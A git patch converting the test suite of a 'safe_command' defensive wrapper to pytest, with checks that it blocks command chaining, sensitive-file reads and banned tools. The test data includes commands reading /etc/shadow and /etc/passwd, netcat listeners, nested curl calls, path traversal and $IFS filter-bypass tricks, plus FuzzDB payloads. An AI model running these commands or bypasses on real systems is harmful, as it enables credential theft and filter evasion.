@pytest.mark.parametrize( "command", @@ -81,4 +81,4 @@ def test_blocks_banned_exc(self, command, original_func): command, restrictions=["PREVENT_COMMON_EXPLOIT_EXECUTABLES"], ) - assert err.value.args[0] == "Disallowed command: %s" + assert err.value.args[0].startswith("Disallowed command") From 3d3dab4f25bf42aa958112c4e5d978c549ed9ee7 Mon Sep 17 00:00:00 2001 From: Lucas Faudman Date: Thu, 15 Feb 2024 13:36:17 -0800 Subject: [PATCH 04/19] Convert to Pytest. Add shell expansion tests, nested shell syntax test and FuzzDB tests --- tests/safe_command/test_injection.py | 788 +++++++++++++++++---------- 1 file changed, 497 insertions(+), 291 deletions(-) diff --git a/tests/safe_command/test_injection.py b/tests/safe_command/test_injection.py index a1256d2..f06ec65 100644 --- a/tests/safe_command/test_injection.py +++ b/tests/safe_command/test_injection.py @@ -1,332 +1,538 @@ -import unittest +import pytest import subprocess from pathlib import Path -from os import mkfifo, symlink, get_exec_path, getlogin, chown +from os import mkfifo, symlink, remove from shutil import rmtree, which -from security.safe_command import safe_command -from security.safe_command.api import _parse_command, _resolve_paths_in_parsed_command +from security import safe_command +from security.safe_command.api import _parse_command, _resolve_paths_in_parsed_command, _shell_expand from security.exceptions import SecurityException -class TestSafeCommandInjection(unittest.TestCase): +with (Path(__file__).parent / "fuzzdb" / "command-injection-template.txt").open() as f: + FUZZDB_OS_COMMAND_INJECTION_PAYLOADS = [line.replace('\\n','\n').replace("\\'", "'")[:-1] for line in f] # Remove newline +with (Path(__file__).parent / "fuzzdb" / "traversals-8-deep-exotic-encoding.txt").open() as f: + FUZZDB_PATH_TRAVERSAL_PAYLOADS = [line.replace('\\n','\n').replace("\\'", "'")[:-1] for line in f] # Remove newline + + +@pytest.fixture +def setup_teardown(tmpdir): + # Working directory is the tmpdir + wd = Path(tmpdir) + wd.mkdir(exist_ok=True) + + # Create some files and directories to use in the tests + testtxt = wd / "test.txt" + testtxt.write_text("USERDATA1\nUSERDATA2\nUSERDATA3\n") + test2txt = wd / "test2.txt" + test2txt.write_text("USERDATA4\nUSERDATA5\nUSERDATA6\n") + rglob_testdir = wd / "rglob_testdir" + rglob_testdir.mkdir() + rglob_testfile = rglob_testdir / "rglob_testfile.txt" + rglob_testfile.touch() + space_in_name = wd / "space in name.txt" + space_in_name.touch() + + testtxt.touch() + test2txt.touch() + cwd_testfile = Path("./cwdtest.txt").resolve() + cwd_testfile.touch() + fifo_testfile = (wd / "fifo_testfile").resolve() + mkfifo(fifo_testfile) + symlink_testfile = (wd / "symlink_testfile").resolve() + symlink(cwd_testfile, symlink_testfile) # Target of symlink_testfile is cwd_testfile.txt + passwd = Path("/etc/passwd").resolve() + sudoers = Path("/etc/sudoers").resolve() + # Get Path objects for the test commands + cat, echo, grep, nc, curl, sh = map(lambda cmd: Path(which(cmd) or f"/usr/bin/{cmd}" ), ["cat", "echo", "grep", "nc", "curl", "sh"]) + testpaths = { + "wd": wd, + "test.txt": testtxt, + "test2.txt": test2txt, + "rglob_testdir": rglob_testdir, + "rglob_testfile": rglob_testfile, + "space_in_name": space_in_name, + "cwd_testfile": cwd_testfile, + "fifo_testfile": fifo_testfile, + "symlink_testfile": symlink_testfile, + "passwd": passwd, + "sudoers": sudoers, + "cat": cat, + "echo": echo, + "grep": grep, + "nc": nc, + "curl": curl, + "sh": sh + } + yield testpaths + + # Clean up the test files and directories + rmtree(tmpdir, ignore_errors=True) + remove(cwd_testfile) + + +def insert_testpaths(command, testpaths): + """Replace placeholders in the command or expected result with the test paths""" + if isinstance(command, str): + for k, v in testpaths.items(): + command = command.replace(f"{{{k}}}", str(v)) + elif isinstance(command, list): + for i, cmd_part in enumerate(command): + command[i] = insert_testpaths(cmd_part, testpaths) + return command + + +class TestSafeCommandInternals: + @pytest.mark.parametrize( + "str_cmd, list_cmd, expected_parsed_command", + [ + ("whoami", ["whoami"], ["whoami"]), + ("ls -l", ["ls", "-l"], ["ls", "-l"]), + ("ls -l -a", ["ls", "-l", "-a"], ["ls", "-l", "-a"]), + ("grep 'test' 'test.txt'", ["grep", "'test'", "'test.txt'"], ["grep", "test", "test.txt"]), + ("grep test test.txt", ["grep", "test", "test.txt"], ["grep", "test", "test.txt"]), + ("grep -e 'test test' 'test.txt'", ["grep", "-e", "'test test'", "'test.txt'"], ["grep", "-e", "test test", "test", "test", "test.txt"]), + ("echo 'test1 test2 test3' > test.txt", ["echo", "'test1 test2 test3'", ">", "test.txt"], ['echo', 'test1 test2 test3', 'test1', 'test2', 'test3', '>', 'test.txt']), + ('echo "test1 test2 test3" > test.txt', ["echo", '"test1 test2 test3"', ">", "test.txt"], ['echo', 'test1 test2 test3', 'test1', 'test2', 'test3', '>', 'test.txt']), + ("echo test1 test2 test3 > test.txt", ["echo", "test1", "test2", "test3", ">", "test.txt"], ["echo", "test1", "test2", "test3", ">", "test.txt"]), + ] + ) + def test_parse_command(self, str_cmd, list_cmd, expected_parsed_command, setup_teardown): + expanded_str_cmd, parsed_str_cmd = _parse_command(str_cmd) + expanded_list_cmd, parsed_list_cmd = _parse_command(list_cmd) + assert expanded_str_cmd == expanded_list_cmd + assert parsed_str_cmd == parsed_list_cmd == expected_parsed_command + + + @pytest.mark.parametrize( + "command, expected_paths", + [ + ("echo HELLO", {"echo"}), + ("cat cwdtest.txt", {"cat", "cwd_testfile"}), + ("cat ./cwdtest.txt", {"cat", "cwd_testfile"}), + ("cat cwd*.txt", {"cat", "cwd_testfile"}), + ("cat {test.txt}", {"cat", "test.txt"}), + ("cat '{test.txt}' ", {"cat", "test.txt"}), + ('cat "{test.txt}" ', {"cat", "test.txt"}), + ("cat {test.txt} {test2.txt}", {"cat", "test.txt", "test2.txt"}), + # Check globbing and multiple slashes + ("cat {wd}/*t.txt {wd}/test?.txt", {"cat", "test.txt", "test2.txt"}), + ("cat {wd}///////*t.txt", {"cat", "test.txt"}), + # Check globbing in executable path + ("/bin/c*t '{test.txt}' ", {"cat", "test.txt"}), + # Check that /etc or /private/etc for mac handling is correct + ("cat /etc/passwd /etc/sudoers ", {"cat", "passwd", "sudoers"}), + ("/bin/cat /etc/passwd", {"cat", "passwd"}), + # Check fifo and symlink + ("cat {fifo_testfile}", {"cat", "fifo_testfile"}), + # Symlink should resolve to cwdtest.txt so should get the symlink and the target + ("cat {symlink_testfile}", {"cat", "symlink_testfile", "cwd_testfile"},), + # Check a command with binary name as an argument + ("echo 'cat' {test.txt}", {"echo", "cat", "test.txt"}), + # Command has a directory so should get the dir and all the subfiles and resolved symlink to cwdtest.txt + ("grep 'cat' -r {rglob_testdir}", {"grep", "cat", "rglob_testdir", "rglob_testfile"}), + ("nc -l -p 1234", {"nc"}), + ("curl https://example.com", {"curl"}), + ("sh -c 'curl https://example.com'", {"sh", "curl"}), + ("cat '{space_in_name}'", {"cat", "space_in_name"}), + ] + ) + def test_resolve_paths_in_parsed_command(self, command, expected_paths, setup_teardown): + testpaths = setup_teardown + command = insert_testpaths(command, testpaths) + expected_paths = {testpaths[p] for p in expected_paths} + + expanded_command, parsed_command = _parse_command(command) + abs_paths, abs_path_strings = _resolve_paths_in_parsed_command(parsed_command) + assert abs_paths == expected_paths + assert abs_path_strings == {str(p) for p in expected_paths} + + @pytest.mark.parametrize( + "string, expanded_str", + [ + ("echo $HOME", f"echo {str(Path.home())}"), + ("echo $PWD", f"echo {Path.cwd()}"), + ("echo $IFS", "echo "), + + ("echo $HOME $PWD $IFS", f"echo {str(Path.home())} {Path.cwd()} "), + ("echo ${HOME} ${PWD} ${IFS}", f"echo {str(Path.home())} {Path.cwd()} "), + + ("echo ${IFS}", "echo "), + ("echo ${IFS:0}", "echo "), + ("echo ${IFS:0:1}", "echo "), + ("echo ${IFS:4:20}", "echo "), + ("echo ${HOME:4:20}", f"echo {str(Path.home())[4:20]}"), + ("echo ${HOME:4}", f"echo {str(Path.home())[4:]}"), + ("echo ${HOME:-1:-10}", f"echo {str(Path.home())[-1:10]}"), + + ("echo ${HOME:-defaultval}", f"echo {str(Path.home())}"), + ("echo ${HOME:=defaultval}", f"echo {str(Path.home())}"), + ("echo ${HOME:+defaultval}", "echo defaultval"), + + ("echo ${BADKEY:-defaultval}", "echo defaultval"), + ("echo ${BADKEY:=defaultval}", "echo defaultval"), + ("echo ${BADKEY:+defaultval}", "echo "), + ("echo ${BADKEY:0:2}", "echo "), + + ("echo a{d,c,b}e", "echo ade ace abe"), + ("echo a{'d',\"c\",b}e", "echo ade ace abe"), + ("echo a{$HOME,$PWD,$IFS}e", f"echo a{str(Path.home())}e a{Path.cwd()}e a e"), + + ("echo {1..-1}", "echo 1 0 -1"), + ("echo {1..1}", "echo 1"), + ("echo {1..4}", "echo 1 2 3 4"), + + ("echo {1..10..2}", "echo 1 3 5 7 9"), + ("echo {1..10..-2}", "echo 9 7 5 3 1"), + ("echo {10..1..2}", "echo 10 8 6 4 2"), + ("echo {10..1..-2}", "echo 2 4 6 8 10"), + + ("echo {-1..10..2}", "echo -1 1 3 5 7 9"), + ("echo {-1..10..-2}", "echo 9 7 5 3 1 -1"), + ("echo {10..-1..2}", "echo 10 8 6 4 2 0"), + ("echo {10..-1..-2}", "echo 0 2 4 6 8 10"), + + ("echo {1..-10..2}", "echo 1 -1 -3 -5 -7 -9"), + ("echo {1..-10..-2}", "echo -9 -7 -5 -3 -1 1"), + ("echo {-10..1..2}", "echo -10 -8 -6 -4 -2 0"), + ("echo {-10..1..-2}", "echo 0 -2 -4 -6 -8 -10"), + + ("echo {-1..-10..2}", "echo -1 -3 -5 -7 -9"), + ("echo {-1..-10..-2}", "echo -9 -7 -5 -3 -1"), + ("echo {-10..-1..2}", "echo -10 -8 -6 -4 -2"), + ("echo {-10..-1..-2}", "echo -2 -4 -6 -8 -10"), + ("echo {10..-10..2}", "echo 10 8 6 4 2 0 -2 -4 -6 -8 -10"), + ("echo {10..-10..-2}", "echo -10 -8 -6 -4 -2 0 2 4 6 8 10"), + + ("echo {1..10..0}", "echo 1..10..0"), + ("echo AB{1..10..0}CD", "echo AB1..10..0CD"), + ("echo AB{1..$HOME}CD", f"echo AB1..{str(Path.home())}CD"), + + ("echo a{1..4}e", "echo a1e a2e a3e a4e"), + ("echo AB{1..10..2}CD {$HOME,$PWD} ${BADKEY:-defaultval}", f"echo AB1CD AB3CD AB5CD AB7CD AB9CD {str(Path.home())} {Path.cwd()} defaultval"), + ("echo AB{1..4}CD", "echo AB1CD AB2CD AB3CD AB4CD"), + + ("find . -name '*.txt' ${BADKEY:--exec} cat {} + ", "find . -name '*.txt' -exec cat {} + "), + ] + ) + def test_shell_expansions(self, string, expanded_str, setup_teardown): + assert _shell_expand(string) == expanded_str + + +@pytest.mark.parametrize("original_func", [subprocess.run, subprocess.call]) +class TestSafeCommandRestrictions: EXCEPTIONS = { - "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES": SecurityException("Disallowed access to sensitive file"), - "PREVENT_COMMAND_CHAINING": SecurityException("Multiple commands not allowed"), - "PREVENT_COMMON_EXPLOIT_EXECUTABLES": SecurityException("Disallowed command"), - "PREVENT_UNCOMMON_PATH_TYPES": SecurityException("Disallowed access to path type"), - "PREVENT_ADMIN_OWNED_FILES": SecurityException("Disallowed access to file owned by") + "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES": SecurityException("Disallowed access to sensitive file"), + "PREVENT_COMMAND_CHAINING": SecurityException("Multiple commands not allowed"), + "PREVENT_COMMON_EXPLOIT_EXECUTABLES": SecurityException("Disallowed command"), + "PREVENT_UNCOMMON_PATH_TYPES": SecurityException("Disallowed access to path type"), + "PREVENT_ADMIN_OWNED_FILES": SecurityException("Disallowed access to file owned by"), + "ANY": SecurityException("Any Security exception") } - def setUp(self) -> None: - self.userdata_dir = Path("./userdata/example_user/") - self.userdata_dir.mkdir(exist_ok=True, parents=True) - test_data = { - "testdata.txt": "USERDATA1\nUSERDATA2\nUSERDATA3\n", - "testdata2.txt": "USERDATA4\nUSERDATA5\nUSERDATA6\n", - "secret.data": "SECRET-DATA-789\n" - } - - for filename, data in test_data.items(): - with open(self.userdata_dir / filename, "w") as f: - f.write(data) - - - self.original_func = subprocess.run - self.safe_command = new_safe_command - return super().setUp() - - def tearDown(self) -> None: - rmtree("./userdata", ignore_errors=True) - rmtree("./testpaths", ignore_errors=True) - rmtree("./testpathtypes", ignore_errors=True) - return super().tearDown() - - def _run_test_command(self, expected_result, restrictions, command, shell=False, compare_stderr=False, *args, **kwargs): - msg = f"\n\nrestrictions: {restrictions}\nshell: {shell}\ncommand: {command}\nexpected_result: {expected_result}" + def _run_test_with_command(self, original_func, expected_result, restrictions, command, shell=False, compare_stderr=False, *args, **kwargs): if isinstance(expected_result, SecurityException): - with self.assertRaises(SecurityException, msg=msg) as cm: - self.safe_command.run( - original_func=self.original_func, + with pytest.raises(SecurityException) as cm: + safe_command.run( + original_func=original_func, command=command, *args, restrictions=restrictions, shell=shell, **kwargs ) - raised_exception = cm.exception - self.assertIn(expected_result.args[0], raised_exception.args[0], msg=msg) + raised_exception = cm.value + # If the expected exception is not "Any Security exception" then check that the raised exception starts with the expected message + if expected_result.args[0] != "Any Security exception": + assert raised_exception.args[0].startswith(expected_result.args[0]) + else: - result = self.safe_command.run( - original_func=self.original_func, + result = safe_command.run( + original_func=original_func, command=command, *args, restrictions=restrictions, - shell=shell, **kwargs, + shell=shell, capture_output=True, - text=True + text=True, + **kwargs, + ) if result: compare_val = result.stdout.strip() if not compare_stderr else result.stderr.strip() - self.assertEqual(compare_val, expected_result, msg=msg) - - - def _do_test_commands(self, test_commands, restrictions): - for command, expected_result in test_commands.items(): - if isinstance(command, str): - shell = True - self._run_test_command(expected_result, restrictions, command, shell=shell) - if isinstance(command, tuple): - command = list(command) - shell = False - self._run_test_command(expected_result, restrictions, command, shell=shell) - - - def test_parse_command(self): - for invalid_type in (b"whoami", {"cmd": "value"}, 123, {"cmd", "arg"}): - with self.assertRaises(TypeError): - _parse_command(invalid_type) # type: ignore - for empty in ("", [], [""]): - self.assertEqual(_parse_command(empty), None) + assert compare_val == expected_result - test_commands = [ - # (str_cmd, list_cmd, len_parsed_cmd_list) - ("whoami", ["whoami"], 1), - ("ls -l", ["ls", "-l"], 2), - ("ls -l -a", ["ls", "-l", "-a"], 3), - ("grep 'test' 'test.txt'", ["grep", "test", "test.txt"], 3), - ("grep test test.txt", ["grep", "test", "test.txt"], 3), - ("grep -e 'test test' 'test.txt'", ["grep", "-e", "test test", "test.txt"], 4), - ("echo 'test1 test2 test3' > test.txt", ["echo", "test1 test2 test3", ">", "test.txt"], 4), - ('echo "test1 test2 test3" > test.txt', ["echo", "test1 test2 test3", ">", "test.txt"], 4), - ("echo test1 test2 test3 > test.txt", ["echo", "test1", "test2", "test3", ">", "test.txt"], 6), - ] - for str_cmd, list_cmd, len_parsed_cmd_list in test_commands: - parsed_str_cmd = _parse_command(str_cmd) - parsed_list_cmd = _parse_command(list_cmd) - msg = f"\n\nstr_cmd: {str_cmd}\nlist_cmd: {list_cmd}\nlen_parsed_cmd_list: {len_parsed_cmd_list}" - msg += f"\nparsed_str_cmd: {parsed_str_cmd}\nparsed_list_cmd: {parsed_list_cmd}" - self.assertIsInstance(parsed_str_cmd, list, msg=msg) - self.assertIsInstance(parsed_list_cmd, list, msg=msg) - self.assertEqual(len(parsed_list_cmd or []), len_parsed_cmd_list, msg=msg) - self.assertEqual(len(parsed_list_cmd or []), len_parsed_cmd_list, msg=msg) - self.assertEqual(parsed_str_cmd, parsed_list_cmd, msg=msg) - - - def test_resolve_paths_in_parsed_command(self): - wd = Path.cwd().resolve() / "testpaths" - wd.mkdir(exist_ok=True) - (wd / "test.txt").touch() - (wd / "test2.txt").touch() - cwd_test = Path("cwdtest.txt").resolve() - cwd_test.touch() - fifo_test = (wd / "fifo_test").resolve() - mkfifo(fifo_test) - symlink_test = (wd / "symlink_test").resolve() - symlink(cwd_test, symlink_test) # Target of symlink is cwdtest.txt - cat, echo, grep, nc, curl, sh = map(lambda cmd: Path(which(cmd) or f"/usr/bin/{cmd}" ), ["cat", "echo", "grep", "nc", "curl", "sh"]) - test_commands = { - # command: expected_paths - f"echo HELLO": {echo}, - f"cat cwdtest.txt": {cat, cwd_test}, - f"cat ./cwdtest.txt": {cat, cwd_test}, - f"cat cwd*.txt": {cat, cwd_test}, - f"cat {wd}/test.txt": {cat, wd/"test.txt"}, - f"cat '{wd}/test.txt' ": {cat, wd/"test.txt"}, - f'cat "{wd}/test.txt" ': {cat, wd/"test.txt"}, - f"cat {wd}/test.txt {wd}/test2.txt": {cat, wd/"test.txt", wd/"test2.txt"}, - # Check globbing and multiple slashes - f"cat {wd}/*t.txt {wd}/test?.txt": {cat, wd/"test.txt", wd/"test2.txt"}, - f"cat {wd}///////*t.txt": {cat, wd/"test.txt"}, - f"cat {wd}/../{wd.name}/*.txt": {cat, wd/"test.txt", wd/"test2.txt"}, - # Check globbing in executable path - f"/bin/c*t '{wd}/test.txt' ": {cat, wd/"test.txt"}, - # Check that /etc or /private/etc for mac handling is correct - f"cat /etc/passwd /etc/sudoers ": {cat, Path("/etc/passwd").resolve(), Path("/etc/sudoers").resolve()}, - f"/bin/cat /etc/passwd": {cat, Path("/etc/passwd").resolve()}, - # Check fifo and symlink - f"cat {fifo_test}": {cat, fifo_test}, - # Symlink should resolve to cwdtest.txt so should get the symlink and the target - f"cat {symlink_test}": {cat, symlink_test, cwd_test}, - # Check a command with binary name as an argument - f"echo 'cat' {wd}/test.txt": {echo, cat, wd/"test.txt"}, - # Command has a directory so should get the dir and all the subfiles and resolved symlink to cwdtest.txt - f"grep 'cat' -r {wd}": {grep, cat, wd, wd/"test.txt", wd/"test2.txt", fifo_test, cwd_test}, - f"nc -l -p 1234": {nc}, - f"curl https://example.com": {curl}, - f"sh -c 'curl https://example.com'": {sh, curl}, - } - for command, expected_paths in test_commands.items(): - parsed_command = _parse_command(command) - abs_paths, abs_path_strings = _resolve_paths_in_parsed_command(parsed_command) - msg = f"\n\ncommand: {command}\n\nparsed_command: {parsed_command}\n\nexpected_paths: {expected_paths}\n\nabs_paths: {abs_paths}\n\nabs_path_strings: {abs_path_strings}" - self.assertEqual(abs_paths, expected_paths, msg=msg) - self.assertEqual(abs_path_strings, {str(p) for p in expected_paths}, msg=msg) - - - def test_check_multiple_commands(self): + + def _do_test_command(self, command, expected_result, restrictions, original_func): + shell = isinstance(command, str) + self._run_test_with_command(original_func, expected_result, restrictions, command, shell=shell) + + + @pytest.mark.parametrize( + "command", + [ + "ls -l; whoami", + "ls -l && whoami", + "ls -l || whoami", + "ls -l | whoami", + "ls -l\nwhoami", + "ls -l & whoami", + "echo $(whoami)", + "echo $(whoami)", + "echo `whoami`", + "cat <(whoami)", + "sh -c 'whoami'", + "find . -name '*.txt' -exec cat {} + ", + "find . -name '*.txt' ${BADKEY:--exec} cat {} + ", + + ["ls", "-l;", "whoami"], + ["ls", "-l", "&&", "whoami"], + ["ls", "-l", "||", "whoami"], + ["ls", "-l", "|", "whoami"], + ["ls", "-l", "\nwhoami"], + ["ls", "-l", "&", "whoami"], + ["echo", "$(whoami)"], + ["echo", "`whoami`"], + ["cat", "<(whoami)"], + ["sh", "-c", "'whoami'"], + ["find", ".", "-name", "'*.txt'", "-exec", "cat", "{}", "+"], + ["find", ".", "-name", "'*.txt'", "${BADKEY:--exec}", "cat", "{}", "+"], + ] + ) + def test_check_multiple_commands(self, command, original_func, setup_teardown): exception = self.EXCEPTIONS["PREVENT_COMMAND_CHAINING"] restrictions = {"PREVENT_COMMAND_CHAINING"} - test_commands = { - # (command, expected_result) - "echo HELLO": "HELLO", - ("echo", "HELLO"): "HELLO", - "ls -l; whoami": exception, - ("ls", "-l;", "whoami"): exception, - "ls -l && whoami": exception, - ("ls", "-l", "&&", "whoami"): exception, - "ls -l || whoami": exception, - ("ls", "-l", "||", "whoami"): exception, - "ls -l | whoami": exception, - ("ls", "-l", "|", "whoami"): exception, - "ls -l\nwhoami": exception, - ("ls", "-l", "\nwhoami"): exception, - "ls -l & whoami": exception, - ("ls", "-l", "&", "whoami"): exception, - "echo $(whoami)": exception, - ("echo", "$(whoami)"): exception, - "echo $(whoami)": exception, - ("echo", "$(whoami)"): exception, - "echo `whoami`": exception, - ("echo", "`whoami`"): exception, - "sh -c 'whoami'": exception, - ("sh", "-c", "'whoami'"): exception, - # Find not allowed with -exec but is allowed otherwise - "find . -name '*.txt' -exec cat {} + ": exception, - ("find", ".", "-name", "'*.txt'", "-exec", "cat", "{}", "+"): exception, - f"find {self.userdata_dir} -name testdata.txt -print -quit": "userdata/example_user/testdata.txt", - ("find", str(self.userdata_dir), "-name", "testdata.txt", "-print", "-quit"): "userdata/example_user/testdata.txt", - f"grep -e 'USERDATA[12]' {self.userdata_dir}/testdata.txt": "USERDATA1\nUSERDATA2", - ("grep", "-e", "USERDATA[12]", f"{self.userdata_dir}/testdata.txt"): "USERDATA1\nUSERDATA2", - } - - self._do_test_commands(test_commands, restrictions) - - + self._do_test_command(command, exception, restrictions, original_func) - def test_check_sensitive_files(self): + @pytest.mark.parametrize( + "command", + [ + "cat /etc/shadow", + "cat /etc/passwd", + "cat '/etc/passwd'", + 'cat "/etc/passwd"', + 'cat "/etc/pa*sswd"', + "cat /etc/pa*sswd", + "cat /etc///pa*sswd*", + "cat /etc/sudoers", + "cat ../../../../../../../../../../etc/sudoers.d/../sudoers", + "cat /etc/sudoers.d/../sudoers", + + ["cat", "/etc/shadow"], + ["cat", "/etc/passwd"], + ["cat", "/etc/passwd"], + ["cat", "/etc/passwd"], + ["cat", "/etc/pa*sswd"], + ["cat", "/etc/pa*sswd"], + ["cat", "/etc///pa*sswd*"], + ["cat", "/etc/sudoers"], + ["cat", "../../../../../../../../../../etc/sudoers.d/../sudoers"], + ["cat", "/etc/sudoers.d/../sudoers"], + ] + ) + def test_check_sensitive_files(self, command, original_func, setup_teardown): exception = self.EXCEPTIONS["PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"] restrictions = {"PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"} - test_commands = { - # (command, expected_result) - f"cat {self.userdata_dir}/testdata.txt": f"USERDATA1\nUSERDATA2\nUSERDATA3", - ("cat", f"{self.userdata_dir}/testdata.txt"): "USERDATA1\nUSERDATA2\nUSERDATA3", - f"cat {self.userdata_dir}/testdata2.txt": f"USERDATA4\nUSERDATA5\nUSERDATA6", - ("cat", f"{self.userdata_dir}/testdata2.txt"): "USERDATA4\nUSERDATA5\nUSERDATA6", - f"grep 'USERDATA1' {self.userdata_dir}/testdata.txt": "USERDATA1", - ("grep", "USERDATA1", f"{self.userdata_dir}/testdata.txt"): "USERDATA1", - f"cat /etc/shadow": exception, - ("cat", "/etc/shadow"): exception, - f"cat /etc/passwd": exception, - ("cat", "/etc/passwd"): exception, - f"cat '/etc/passwd'": exception, - ("cat", "/etc/passwd"): exception, - f'cat "/etc/passwd"': exception, - ("cat", "/etc/passwd"): exception, - f'cat "/etc/pa*sswd"': exception, - ("cat", "/etc/pa*sswd"): exception, - f"cat /etc/pa*sswd": exception, - ("cat", "/etc/pa*sswd"): exception, - f"cat /etc///pa*sswd*": exception, - ("cat", "/etc///pa*sswd*"): exception, - f"cat /etc/sudoers": exception, - ("cat", "/etc/sudoers"): exception, - f"cat ../../../../../../../../../../etc/sudoers.d/../sudoers": exception, - ("cat", "../../../../../../../../../../etc/sudoers.d/../sudoers"): exception, - f"cat /etc/sudoers.d/../sudoers": exception, - ("cat", "/etc/sudoers.d/../sudoers"): exception, - } - - self._do_test_commands(test_commands, restrictions) - - - def test_check_banned_executable(self): - exception = self.EXCEPTIONS["PREVENT_COMMON_EXPLOIT_EXECUTABLES"] - restrictions = {"PREVENT_COMMON_EXPLOIT_EXECUTABLES"} - test_commands = { - # (command, expected_result) - "echo HELLO": "HELLO", - ("echo", "HELLO"): "HELLO", - "ls -l /usr/bin/nc": exception, - ("ls", "-l", "/usr/bin/nc"): exception, - "ls -l /usr/bin/netcat": exception, - ("ls", "-l", "/usr/bin/netcat"): exception, - "ls -l /usr/bin/curl": exception, - ("ls", "-l", "/usr/bin/curl"): exception, - "ls -l /usr/bin/wget": exception, - ("ls", "-l", "/usr/bin/wget"): exception, - "ls -l /usr/bin/dpkg": exception, - ("ls", "-l", "/usr/bin/dpkg"): exception, - "ls -l /usr/bin/rpm": exception, - ("ls", "-l", "/usr/bin/rpm"): exception, - "curl https://example.com": exception, - ("curl", "https://example.com"): exception, - "sh -c 'curl https://example.com'": exception, - ("sh", "-c", "curl https://example.com"): exception, - "find . -name '*' -exec curl {} + ": exception, - ("find", ".", "-name", "'*'", "-exec", "curl", "{}", "+"): exception, - "find . -name '*' -exec /usr/bin/curl {} + ": exception, - ("find", ".", "-name", "'*'", "-exec", "/usr/bin/curl", "{}", "+"): exception, - "find . -name '*' -exec /usr/bin/cu*l {} + ": exception, - ("find", ".", "-name", "'*'", "-exec", "/usr/bin/cu*l", "{}", "+"): exception, - "nc -l -p 1234": exception, - ("nc", "-l", "-p", "1234"): exception, - "/bin/nc -l -p 1234": exception, - ("/bin/nc", "-l", "-p", "1234"): exception, - "/usr/bin/nc* -l -p 1234": exception, - ("/usr/bin/nc*", "-l", "-p", "1234"): exception, - # Check that IFS can't be used to bypass - "nc$IFS-l${IFS}-p${IFS}1234": exception, - ("nc$IFS-l${IFS}-p${IFS}1234"): exception, - } + self._do_test_command(command, exception, restrictions, original_func) - self._do_test_commands(test_commands, restrictions) + @pytest.mark.parametrize( + "command", + [ + "ls -l /usr/bin/nc", + "ls -l /usr/bin/netcat", + "ls -l /usr/bin/curl", + "curl https://example.com", + "sh -c 'curl https://example.com'", + "sh -c \"curl https://example.com\"", + "sh -c ' curl https://example.com'", + "sh -c 'sh -c \" curl https://example.com\" '", + "sh -c \"sh -c 'curl https://example.com' \"", + "find . -name '*' -exec curl {} + ", + "find . -name '*' -exec /usr/bin/curl {} + ", + "find . -name '*' -exec /usr/bin/cu*l {} + ", + " netcat -l -p 1234", + "nc -l -p 1234", + "/usr/bin/nc -l -p 1234", + "/usr/bin/nc* -l -p 1234", + "/usr/*i**/nc -l -p 1234", + "{nc,-l,-p,1234}", + "${BADKEY:-nc} -l -p 1234", + # Check that IFS can't be used to bypass + "${IFS}nc${IFS}-l${IFS}-p${IFS}1234", + "${IFS}/usr/bin/nc*${IFS} -l -p 1234", + "$IFS nc${IFS}-l -p 1234", + "find . -name '*' -exec \"${IFS}/usr/bin/cu*l${IFS}\" {} + ", + "sh -c 'sh -c \"${IFS}/usr/bin/c*rl${IFS}https://example.com${IFS}\" '", - def test_check_path_type(self): - wd = Path.cwd().resolve() / "testpathtypes" - wd.mkdir(exist_ok=True) - cwd_test = Path("cwdtest.txt").resolve() - cwd_test.touch() - fifo_test = (wd / "fifo_test").resolve() - mkfifo(fifo_test) - symlink_test = (wd / "symlink_test").resolve() - symlink(cwd_test, symlink_test) # Target of symlink is cwdtest.txt + ["ls", "-l", "/usr/bin/nc"], + ["ls", "-l", "/usr/bin/netcat"], + ["ls", "-l", "/usr/bin/curl"], + ["curl", "https://example.com"], + ["sh", "-c", "curl https://example.com"], + ["sh", "-c", " curl https://example.com"], + ["sh", "-c", "sh -c \" curl https://example.com\" "], + ["sh", "-c", "sh -c 'curl https://example.com' "], + ["find", ".", "-name", "'*'", "-exec", "curl", "{}", "+"], + ["find", ".", "-name", "'*'", "-exec", "/usr/bin/curl", "{}", "+"], + ["find", ".", "-name", "'*'", "-exec", "/usr/bin/cu*l", "{}", "+"], + [" netcat ", "-l", "-p", "1234"], + ["nc", "-l", "-p", "1234"], + ["/usr/bin/nc", "-l", "-p", "1234"], + ["/usr/bin/nc*", "-l", "-p", "1234"], + ["/usr/*i**/nc", "-l", "-p", "1234"], + ["{nc,-l,-p,1234}"], + ["${IFS}nc${IFS}-l${IFS}-p${IFS}1234"], + ["${IFS}/usr/bin/nc*${IFS}", "-l", "-p", "1234"], + ["$IFS nc${IFS}", "-p", "1234"], + ["find", ".", "-name", "'*'", "-exec", "\"${IFS}/usr/bin/cu*l${IFS}\"", "{}", "+"], + ["sh", "-c", "sh -c \"${IFS}/usr/bin/c*rl${IFS}https://example.com${IFS}\" "], + + + ] + ) + def test_check_banned_executable(self, command, original_func, setup_teardown): + exception = self.EXCEPTIONS["PREVENT_COMMON_EXPLOIT_EXECUTABLES"] + restrictions = {"PREVENT_COMMON_EXPLOIT_EXECUTABLES"} + self._do_test_command(command, exception, restrictions, original_func) + + @pytest.mark.parametrize( + "command", + [ + "cat {fifo_testfile}", + "cat {symlink_testfile}", + ["cat", "{fifo_testfile}"], + ["cat", "{symlink_testfile}"], + ] + ) + def test_check_path_type(self, command, original_func, setup_teardown): exception = self.EXCEPTIONS["PREVENT_UNCOMMON_PATH_TYPES"] restrictions = {"PREVENT_UNCOMMON_PATH_TYPES"} - test_commands = { - # (command, expected_result) - "echo HELLO": "HELLO", - ("echo", "HELLO"): "HELLO", - f"cat {wd}/fifo_test": exception, - ("cat", f"{wd}/fifo_test"): exception, - f"cat {wd}/symlink_test": exception, - ("cat", f"{wd}/symlink_test"): exception, - f"cat {self.userdata_dir}/testdata.txt": f"USERDATA1\nUSERDATA2\nUSERDATA3", - ("cat", f"{self.userdata_dir}/testdata.txt"): "USERDATA1\nUSERDATA2\nUSERDATA3", - f"/bin/cat {self.userdata_dir}/testdata.txt": f"USERDATA1\nUSERDATA2\nUSERDATA3", - ("/bin/cat", f"{self.userdata_dir}/testdata.txt"): "USERDATA1\nUSERDATA2\nUSERDATA3", - } - - self._do_test_commands(test_commands, restrictions) - - def test_check_file_owner(self): + testpaths = setup_teardown + command = insert_testpaths(command, testpaths) + self._do_test_command(command, exception, restrictions, original_func) + + + @pytest.mark.parametrize( + 